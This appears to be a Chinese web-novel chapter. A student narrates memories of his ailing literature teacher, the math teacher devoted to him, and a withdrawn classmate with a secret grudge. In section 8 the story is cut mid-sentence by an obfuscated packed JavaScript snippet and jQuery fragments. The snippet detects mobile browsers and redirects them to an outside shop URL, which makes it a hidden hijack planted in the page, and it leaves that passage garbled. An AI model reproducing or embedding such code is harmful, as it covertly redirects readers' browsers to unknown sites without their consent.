一
我叫陈一舟，慕坪中学高三（十）班的学生。成绩不好不坏，长相不好不坏，性格不好不坏——什么都不突出，什么都不垫底。属于那种老师点名要盯着花名册看半天才能对上号的类型。
我之所以提笔，是为了记录一些人。
我读了这么多年书，见过的老师没有一百也有八十。大部分老师是这样的：上课，下课，批作业，骂学生，下班，偶尔和其他老师聊天（也或许不是偶尔）。
很普通，很正常，普通正常到我从来不会多看他们一眼。
当然我发誓，这句话绝对没有我上课开小差的意思。
但有几个老师，不是这样。
二
先说逄老师。
逄老师全名逄寒林，是我们班的语文老师。名字听起来很美吧，但第一次见面的时候，他可把我吓了一跳。
怎么说呢，这个人看起来不像老师，像□□。也不是说长得怎么凶神恶煞，我指的是那种——气场。
他很瘦，但个子不矮，但也不算高，目测不到一米八。但气场很足，他站在讲台上，扫了一圈教室，那眼神，怎么说，像在清点人数准备收保护费。
旁边坐着的胖子李威捅了我一下，小声说：“卧槽，这老师，我不敢逃课了。”
但逄寒林一开口，我们都愣住了。
他的声音很轻，很柔，很清亮。
“我叫逄寒林。”他说，“你们是我带的第一届学生，同样，我也会是你们带的第一届老师——以后请多多关照。”
同学们哄堂大笑。
我盯着他的脸出神。
直到李威拽着我的袖子把我摇醒，我才迷迷糊糊地打开书，眼神依旧直愣愣的。
这节课讲的是辛弃疾的《青玉案·元夕》。他没有像别的语文老师那样先介绍作者生平、写作背景、中心思想，他直接念词。
“东风夜放花千树，更吹落、星如雨。宝马雕车香满路。凤箫声动，玉壶光转，一夜鱼龙舞。”
他念得很慢，每一个字都念得很清楚。念到“众里寻他千百度”的时候，他停了一下，看着窗外的方向，目光好像穿过了窗户，在看别的地方。
“蓦然回首，那人却在，灯火阑珊处。”
他念完了，教室里安静了很久。
我们都被朗读声带进了诗文里，很久才出来。
然后逄老师说：“这首词，是辛弃疾写元宵节的。”他顿了顿，“元宵节，就是今天。”
我们才想起来，那天确实是元宵节。
下课后，李威趴在桌上，眯着眼看我，“舟子啊，你是不是看上逄老师了，刚叫你半天你都不应。”
他说着，不知道哪根弦搭错了，拉起我的手郑重道：“没事舟子，哪怕同性恋再怎么不被世人待见，你威哥我……呜呜！”
我收回捂住他嘴的手，优雅地翻了个白眼。
“滚着。”
“得嘞。”
他飞快地跑远了。
我把视线移回语文书，脑海里却在想逄老师那张脸。
我家三代从医，我自然也耳濡目染学了些。
逄老师……似乎心脏不太好。
后来他上的每一节课，我都很认真地听。他讲李清照，讲“帘卷西风，人比黄花瘦”的时候，眼帘不自觉地垂落，长长的睫毛微微抖动着。他讲苏轼，讲“十年生死两茫茫”，念到最后一句“料得年年肠断处，明月夜，短松冈”，声音压的很低。讲台上方的灯光照着他，我看见他的手指在书页上不自觉地摩挲，很快又松开。
我觉得他心里有事。和我们那些“中午吃什么”“又没抢到球场”的烦恼不同，是那种很深很深的，沉在底下的，平时看不见但一直在那儿的事。
有一天下课，我去找他问问题。我有很多问题，其他科的更多，但我只肯问他。他也确实会次次回答我。
他站在走廊上，靠着栏杆，看着操场的方向。操场上有人在跑步，有人在踢球，很吵。
“逄老师，”我说，“我想问一下，‘此情无计可消除，才下眉头，却上心头’，这个‘才下眉头，却上心头’，是李清照写她自己的心情，还是写她想象中丈夫的心情？”
他转过头看着我，眼神很久才聚焦。
他用一副才认出我的表情，接过书，把我带进办公室坐下。
“你觉得呢？”他问我。
我想了想：“我觉得是写她自己的。”
他点点头，没说话。
“逄老师，”我又说，“你是不是有心事？”
他愣了一下，然后笑了。他笑起来的时候，身上那股凶劲儿终于散了。其实他的眉眼很柔和，就是不知道为什么总板着脸——总不能是拒桃花吧？
“没有。”他说，“谢谢你关心。”
他站起身，向外面走了几步，又停下来，回头看了我一眼。
“元宵节快乐。”他说。
我站在原地，看着他走远。他走路很慢，微微低着头，肩膀有点佝偻，像是被什么东西压着。
我想，逄老师一定有很多故事。多到成了一座小山，不管不顾的压在他身上。
后来李威跟我说，他听其他老师聊天的时候说，逄老师有心脏病。先天的那种，医生说活不过四十岁。
我愣了一下，第一反应不是震惊或了然，而且想起了他读“十年生死两茫茫”时候的样子。
原来不是故事。
是命。
三
再说廖老师。
廖老师叫廖振山，是我们班的数学老师。和逄老师完全相反——逄老师是看起来凶，实际上不凶；廖老师是看起来不凶，实际上……我们私底下都叫他“笑靥魔王”。
廖老师长得白净，戴一副细框眼镜，说话也慢条斯理的，看起来像个好好先生。但他上课的时候，有一种让人不敢走神的魔力。
不是凶，是——冷。他的眼神很冷，像零下四十多度的天，被他盯着，谁也不敢走神。
没人敢知道被他抓住走神的后果。连班上最调皮的学生都不敢，只能苦哈哈地看着黑板，强迫自己听天书。
每到这个时候，我都要庆幸——幸好我的数学还不错。
第一节课，他在黑板上写了一道题，转过身说：“谁来做一下？”
题不难，是初升高的衔接题，只要提前预习了就一定会做。
但没人举手。
他也不催，就站在讲台上，看着我们。那眼神，像在看一群没开智的猴子，没有生气，没有失望，甚至没有期待。
最后班长举手了，上去做完了。廖老师看了一眼，点点头，说：“对了。”然后擦了，写下一道题。
就这样，一整节课，他写了二十道题，叫了二十个人上去做。做对了就下去，错了就改，直到改对为止。
下课铃响了，他说：“作业是刚才那二十道题，明天交。”
然后就走了。
李威趴在桌上哀嚎：“这老师，比逄老师还可怕。逄老师至少会念词，他连话都不说。”
我说：“人家说了，说了‘对了’还有‘重做’。”
李威瞪我一眼：“你那嘴。”
索性第二天的课上，他没再继续之前的风格。
他随意地把书放在一边，不用去看，就能精准地说出每一页的知识点和例题，练习题更是提笔就来。虽然不够生动有趣，但也称得上一句“才华横溢”。
后来我们发现，廖老师不是不说话，是不爱说废话。你问他问题，他会讲，讲得很清楚，一步一步的，比标准答案还标准。但你不问，他绝不多说一句。
有一次我去办公室交作业，看见逄老师也在。两个人在说话，声音不大，我站在门口，听不太清，只听见几个词。
“药吃了吗？”这是廖老师说的，声音很柔和。
“吃了。”这是逄老师说的，带着笑。
“明天别忘了。”
“知道了。”
然后逄老师走出来，看见我，点点头，走了。
廖老师坐在办公桌后面，看着我交上去的作业，翻了翻，抬头说：“第三题做错了。”
我愣了一下：“啊？”
“回去重新做。”
我拿着作业本走出去，走到门口，忍不住回头看了一眼。廖老师正低着头批改作业，笔尖在纸上沙沙地响。阳光从窗户照进来，落在他身上，他的影子投在地上，随着主人的动作不断移动着。
我挠挠头，心想，逄老师和廖老师，关系一定不一般。
四
后来我发现了规律。
逄老师上完课，廖老师会从教室门口经过。
不是每次，但十次有七八次。他就那么走过去，往里看一眼，看见逄老师在收拾东西，就走了。有时候逄老师会抬头，冲他点一下头，他也点一下头，然后两人并肩离去。
两个人之间，好像不用说话。
有一次体育课下雨，我们改在体育馆里活动。我打完球坐在台阶上喝水，看见廖老师从体育馆门口走过，手里拎着一个袋子，往教职工宿舍那边走。逄老师从另一边走过来，两个人碰上了，站在路边说了几句话。
距离太远，听不清说什么。只看见廖老师把袋子递给逄老师，逄老师接过去，打开看了一眼，笑了。廖老师也笑了，虽然很淡，但也足够让我惊掉下巴——无他，只是没想到这位“魔王”也能笑得如此绚烂。
不瞒你们说，我一直以为他只会扯动嘴角，然后露出一个三分薄凉三分讥笑四分漫不经心的“调色盘式”微笑呢！
旁边练跳远的王磊凑过来：“看什么呢？”
我说：“没什么。”
王磊顺着我的目光看过去，说：“哦，逄老师和廖老师啊。他们关系可好了，住同一栋楼，天天一起吃饭。”
“你怎么知道？”
“我住那边啊，我姑姑也是这儿的老师，我跟着她。”王磊说，“我经常看见逄老师拎着早饭去廖老师家，晚上也在那边待到很晚才走。有一回我半夜起来上厕所，还看见廖老师家的灯亮着，窗帘后面有两个人影。”
我看着他。
“你盯着人家看干什么？”
“不是盯着看，是上厕所路过。”王磊说，“不过说真的，他们俩关系是真好。我听我姑姑说，他们从小就认识，都有二十多年了。”
认识二十多年了。
我忽然想起逄老师在课上念的那句词：“蓦然回首，那人却在，灯火阑珊处。”
原来是这样。
五
李威因为成绩下滑，被老师调去当了“护法”。
没了上课说话的搭子，我很快就无聊到在课本上画满了小人画。
不过很快，就有一个转学生填补了这个空位。
我的新同桌叫席鸿秋。
第一次见面，他冲我点了一下头，没说话。我冲他笑了笑，伸出手，他也没理我。
席鸿秋这个人，在我们学校挺出名的。不是因为他成绩好，是因为他——怎么说，阴。整个人阴沉沉的，不爱说话，看人的时候眼睛直勾勾的，让人不舒服。听说他在原来学校出过事，好像是跟老师打架，被开除了，才转到我们这儿来的。
“打架？”李威说，“跟老师打架？胆子也太大了吧。”
“不算打架吧，”王磊说，“是把老师推倒了。”
“敢推老师？这还不算打架啊！”
“嗯……”王磊挠了挠头，被说服了。
“所以，为什么啊？”
“谁知道呢。反正他这人挺吓人的，离他远点。”
我没说话。但我心里想，一个人得有多大的恨，才会把老师推倒？
和席鸿秋做同桌的第一周，我们说了不到十句话。大多数时候，他一个人坐着，对着窗外的银杏树发呆。
有一次我问他：“席鸿秋，这道数学题怎么做？”
他转过头，看了我一眼，又看了看那道题。然后他把本子拿过去，在草稿纸上写了几行步骤，推回来。
我看了看，写得很清楚，甚至连公式都在旁边标明了。
“谢谢。”我说。
他依旧没说话，又转过头看着窗外。
后来我和他混熟后才发现，原来不是他不想理人，而是不敢回话。
他断断续续说了很多。他说，因为他的身世很特殊，在之前的学校他说漏了嘴，于是被老师同学们有意无意地打压谩骂，他实在气不过，于是推了人，于是转了学。
于是他学会了闭嘴，学会了少说少错。
我听完，很严肃地拍拍他的肩，说别怕，以后舟哥保护你。如果再有人欺负你——就让小李子冲上去当沙包。
李威在一旁抬起头，嘴里被肉包堵着说不出话，但我知道他一定问候了好几遍我全家。
于是我朝他竖起一个中指，然后拉着席鸿秋嘻嘻哈哈地跑远了。
有一回中午，我在教室里吃面包，看见席鸿秋坐在座位上，面前摊着一本书，没翻。他盯着书页的同一行字，盯了很久。
“你不去吃饭？”我问。
他抬起头，看了我一眼。
“不饿。”
我看了看他的脸色，有点白，嘴唇没什么血色。
“你是不是不舒服？”
他摇摇头，又低下头看书。
我没再问。但后来我注意到，他经常不去食堂吃饭。有时候带一个面包，有时候什么都不带，就那么坐着，从午休坐到下午上课。
有一次我在走廊上遇见席老师——席悯春，她是高一的音乐老师，长得好看，家里有钱，据说父亲是大老板，只是可惜死得早。她开一辆红色的车，每天停在教学楼后面的车位上，很显眼。她上课的时候总是笑眯眯的，但那种笑，就像挂在墙上的画，好看是好看，但没有温度。
还有一点，就是她总会过来，隔着窗户看席鸿秋。偶尔进来，给他送些东西。
“席老师，”我叫住她，“你是席鸿秋的姐姐吧？”
她愣了一下，然后笑了：“对，我是他姐姐。怎么了？”
“没什么，就是他最近老不去吃饭，脸色也不太好。”
她的笑收了收，整个人突然被寒气包裹了。
我不禁抖了又抖，幸好男子汉的气概还在支撑着我，让我没有立刻逃走。
“我知道了，”她说，“谢谢你。”
我连忙跑走。跑到拐角处，我偷偷向后看，她站在走廊上，看着操场的方向。阳光从外面穿进来，洒落在她旁边。
她一缕阳光都没沾上。
我不知道她在想什么。
六
有一回上语文课，逄老师讲的是归有光的《项脊轩志》。
“庭有枇杷树，吾妻死之年所手植也，今已亭亭如盖矣。”
“这句话，”他说，“写的是时间。枇杷树种下去的时候，妻子刚死。等它长成亭亭如盖的大树，已经过去了很多年。他没有说想念，没有说悲伤，他只说树长大了。”
他停了一下。
“这叫做寄情于景。让树的生长与人的离去形成对比，?平淡中带着隽永。他一直在想她。每一天，每一刻，从树还是小苗的时候，到树长成浓荫的时候。从来没有停过。”
他说完了，继续往下讲。
我坐在下面，看了一眼旁边的席鸿秋。他低着头，看着课本，手指按在书页上，微微泛着白。
下课后，我收拾东西，看见他的课本上，那行字下面画了一道线。很轻，像是用铅笔画下又擦掉的，又像是用手指甲划的。
我没问他。我想，这件事，问了他也不会说。
七
高三的课业很重，但逄老师的语文课是唯一的例外。
高中的课程已经全部讲完，但逄老师并不急着带我们复习。
他每天抽出一首诗，或者词，亦或者是文言文。不是上来就抽背默写一条龙，而且带着我们了解诗词背后的故事。
有一次讲李商隐的《锦瑟》。“此情可待成追忆，只是当时已惘然。”他说，“李商隐写这首诗的时候，大概已经老了。他想起了很多事，很多人，但都已经过去了。他想抓住什么，但抓不住。所以他写‘已惘然’。不是不想追，是追不上了。”
他站在讲台上，阳光从窗户照进来，落在他身上。他很瘦，衣服空荡荡的，像挂在衣架上。他的脸色很白，嘴唇没什么血色。但他讲这些词的时候，眼睛是亮的。
那天下课，我路过办公室，看见廖老师站在他桌子旁边，手里拿着一个保温杯，放在逄老师面前。逄老师抬头看了他一眼，说了句什么，廖老师摇摇头，又说了句什么。然后廖老师在旁边的椅子上坐下来，拿过逄老师面前的一叠作文本，翻开，开始批改。
两个人，一个在写东西，一个在批作文，谁也没说话。
灯光从天花板上洒下，落在他们身上，像一幅画。
我站在门口看了一会儿，然后走了。
八
席鸿秋和我做了一年多的同桌，除却最开始的尴尬期，我们之间的共同话题越来越多，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420265|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有时甚至超过了我和李威还有王磊之间的话。但我总觉得，我和他之间依旧横亘着什么——我们还是陌生人一样。
他像一个人站在悬崖边上，往前一步是深渊，往后一步也是深渊，所以他站在那儿，一动不动。
有一回晚自习，教室里很安静，大家都在做题。席鸿秋忽然放下笔，趴在桌上。我以为他累了，没在意。过了很久，他没起来。我侧过头看他，他的肩膀在微微发抖。
“席鸿秋？”我小声叫他。
他没应。
“席鸿秋，你怎么了？”
他还是没应。我伸手碰了碰他的胳膊，他猛地抬起头。我看见他的眼睛，红的，但没有泪。他看着我，眼神很复杂。似乎有一闪而过的恨意，应该是我看错了。
我抖了抖身子，没当回事。
“没事。”他说。声音很哑。
他转过去，拿起笔，继续做题。
我没再问他。但后来我注意到，他的草稿纸上，除却验算的痕迹，全写满了同一个字。
恨。
大大小小的，密密麻麻的，充斥着整张纸。
我把那张草稿纸收起来，塞进自己的抽屉里。他后来也没问我要。
九
逄老师的病，在我们临近高考时似乎越来越严重了。
他瘦了很多，颧骨凸出来，眼窝凹下去，脸色总是白的。他走路更慢了，上楼梯要在中间停一次，扶着栏杆喘气。但他还是每天来上课，站在讲台上，讲那些诗词。
有一天上课，他讲到一半，忽然停下来，手按着胸口，皱了皱眉。教室里很安静，所有人都看着他。他闭了一下眼睛，深呼吸，然后睁开眼，笑了一下。
“没事，”他说，“我们继续。”
他继续讲课。声音还是那么轻，那么平柔，只是哑了些，几乎和平时一模一样。但我看见他的手指按在讲台上，关节发白。
下课后，廖老师出现在门口。他走进来，走到逄老师面前，没说话，只是看着他。逄老师抬头看了他一眼，笑了一下。
“我没事。”他说。
廖老师没说话，伸手拿过他手里的课本，另一只手扶着他的胳膊，往外走。逄老师没挣，跟着他走了。
全班都看着他们走出去。
李威凑到我耳边说：“廖老师是不是喜欢逄老师？”
我没说话。
“不是那种喜欢，”李威说，“是那种喜欢。”
我看着他，眼里的疑惑几乎要冒出来。
“算了，”李威说，“当我没说。”
但我知道他不是随便说说的。因为后来我也开始想了。一个人，每天给另一个人送早饭，每天晚上去他家里待到很晚，每天提醒他吃药，每次下课都来接他。这算什么呢？友情？亲情？还是别的什么？
我没来得及想明白。
因为廖老师就像在教室里安了摄像头和监听设备一样，第二天一来，就像机关枪锁定了目标一样，接连招呼我和李威的名字。
一节课下来，我们的屁股几乎没沾到座位。
我和李威对视一眼，几乎同时苦笑出声。
十
高考前两个月，逄老师住院了。
消息是班主任在早自习的时候说的。“逄老师身体不太好，这段时间的语文课由隔壁班的李老师代上。大家安心复习，不要分心。”
教室里很安静。没人说话。
我坐在座位上，看着窗外。操场上的篮球架空荡荡的，风吹过，铁链叮叮当当地响。
席鸿秋坐在我旁边，低着头，看着课本。他的手放在桌上，手指微微蜷着。
后来我听说，逄老师是心脏病发作，被廖老师送去的医院。那天晚上，廖老师在他家里，发现他不对劲，打了120，跟着救护车一起去了医院。
再后来，高考前一周，逄老师回来了。瘦得不成样子，颧骨像刀片一样硌出来，脸色灰白，但眼睛还是亮的。
他站在讲台上，看着我们，笑了一下。
“好久不见。”他说。
我坐在下面，鼻子忽然酸了。
他没再讲课，而是念书。念的是辛弃疾的《青玉案·元夕》。和第一节课一模一样。
念到“众里寻他千百度”的时候，他停了一下，看着窗外的方向。
“蓦然回首，那人却在，灯火阑珊处。”
他念完了，教室里安静了很久。
“这首词，是辛弃疾写元宵节的。”他顿了顿，“今天不是元宵节，但我想讲。因为可能没有机会再讲了。”
我愣了一下。
他笑了笑，那笑容很淡，像冬天早晨的太阳。
“不是那个意思。是高考前就剩这几节课了，我想再对着你们念念。”
他继续念别的诗。和以前一样，慢慢的，轻轻的。
下课后，他收拾好东西，在门口停下来，回过头。
“好好复习，”他说，“高考加油。”
他走了。我坐在座位上，看着他的背影。
他走得依旧很慢，但又好像有哪里不同了。我冲上去抓住他的手臂，按上他的桡动脉，仔细感受着心跳。
我从爷爷那学了一点把脉皮毛。
心跳得很慢，但有力。即使我再怎么门外汉，也知道这不像一个心脏病人会有的心跳。
我抬起头，惊讶地看着他。
逄老师扬起嘴角，摸了摸我的头，肯定了我的想法。
我不由流下一滴泪来。
十一
高考完的那天晚上，我绕着学校跑步。路过教学楼后面的车位。席老师的车停在那儿，红色的，在路灯下暗得像凝固的血。她坐在驾驶座上，没开灯，脸藏在暗处，看不清表情。
我走过去，敲了敲车窗。
她摇下窗户，看着我。她的眼睛是红的，但没有泪。
“席老师，”我说，“你没事吧？”
她沉默着，许久才出声。
“没事。”她说，“回去吧，早点休息。”
她摇上窗户，发动了车。红色的尾灯亮了一下，然后消失在夜色里。
我继续走，又在校门口看见了廖振山。
他站在那棵银杏树底下，看着教学楼的方向。阳光很亮，照在他身上，他的影子投在地上，很淡。他穿着一件白色的衬衫，很旧了，领口有点发黄。他瘦了很多，脸颊凹下去，眼窝深了。
我走过去，站在他旁边。
“廖老师。”
他转过头，看着我。
“考得怎么样？”
“还行。”
他点点头，没再说什么。
“廖老师，”我说，“能和我说说你和逄老师的故事吗？我……我想知道很久了。”
廖振山看着我，看了很久。然后他笑了一下。那笑容很淡，像数学课上的那种淡，但又不完全一样。
“没什么好说的。”他说。
“我们是朋友，更是家人——好几辈子的家人。”
风吹过来，银杏树的叶子沙沙地响。现在是夏天，叶子还是绿的，绿得发亮。
“陈一舟，”廖振山忽然说，“你以后想学什么？”
“汉语言吧。”我说，“我也想当老师。”
他点点头。
“是个好专业。”
他转过身走了。
我站在银杏树底下，看着他的背影，知道看不见为止。
我突然又想起了《项脊轩志》。
于是我转过身，抬手在银杏树粗糙的纹理上抚过。
我想，这棵树好像长高了。
十三
后来我考上了大学，汉语言文学专业。再后来我毕了业，读了研，参加了工作，又兜兜转转回到了慕坪中学教书。
教语文。
他们都已经不在了。或许死了，或许去了其他地方。那个时候技术还不够先进，换了几次电话之后，我就再也联系不上他们了。
站在那棵愈发高大的银杏树下，我偶尔会想起那些人。
想起逄寒林站在讲台上念“十年生死两茫茫”的语调，想起廖振山蹲在他面前翻抽屉找药的焦急，想起席悯春坐在车里没有开灯的表情，想起席鸿秋那张被我藏起来的草稿纸——现在早已找不到了。
他们后来怎么样了，我不知道。但我知道，这世上有一些东西，不会因为人走了就消失。
比如银杏树，比如元宵节。
比如词里的灯火。
还在亮着。
等那个回首的人。